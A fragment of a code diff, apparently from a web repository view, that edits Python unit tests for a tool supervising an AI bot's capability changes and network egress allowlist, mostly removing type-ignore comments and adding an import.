supervise_cli.apply_capability_change = lambda slug, content: ("FROM old\n", content) # type: ignore
supervise_cli.apply_capability_change = lambda slug, content: ("FROM old\n", content)
qp = self._enqueue_capability()
supervise_cli.approve(qp)
# Sidecar would normally archive after delivering the response,
@@ -517,7 +517,7 @@ class TestCapabilityBlockSmolmachinesGuard(_FakeHomeMixin, unittest.TestCase):
def setUp(self):
self._setup_fake_home()
self._original_apply_capability = supervise_cli.apply_capability_change
supervise_cli.apply_capability_change = lambda slug, content: ("", content) # type: ignore
supervise_cli.apply_capability_change = lambda slug, content: ("", content)
def tearDown(self):
supervise_cli.apply_capability_change = self._original_apply_capability
@@ -7,6 +7,7 @@ which hostname will land in pipelock's allowlist on approval."""
import unittest
from bot_bottle import supervise
from bot_bottle.cli import supervise as supervise_cli
from bot_bottle.supervise import (
Proposal,
+3 -2
View File
@@ -16,7 +16,7 @@ from unittest.mock import patch
# we mirror that by injecting bot_bottle/ onto sys.path under the
# bare name `supervise`.
sys.path.insert(0, str(Path(__file__).resolve().parent.parent.parent / "bot_bottle"))
import supervise as _sv # noqa: E402 # type: ignore
import supervise as _sv # noqa: E402
from bot_bottle import supervise_server # noqa: E402
from bot_bottle.supervise_server import (
@@ -39,6 +39,7 @@ from bot_bottle.supervise_server import (
jsonrpc_error,
jsonrpc_result,
parse_jsonrpc,
serve,
validate_proposed_file,
)
@@ -330,7 +331,7 @@ class TestHandleToolsCall(unittest.TestCase):
class TestHandleListEgressRoutes(unittest.TestCase):
def test_url_error_returns_tool_error(self):
class _Opener:
def open(self, *args, **kwargs): # noqa: ANN001, ANN002, ANN003 # type: ignore
def open(self, *args, **kwargs): # noqa: ANN001, ANN002, ANN003
raise OSError("egress unavailable")
with patch.object(supervise_server.urllib.request, "build_opener", return_value=_Opener()):

Some files were not shown because too many files have changed in this diff Show More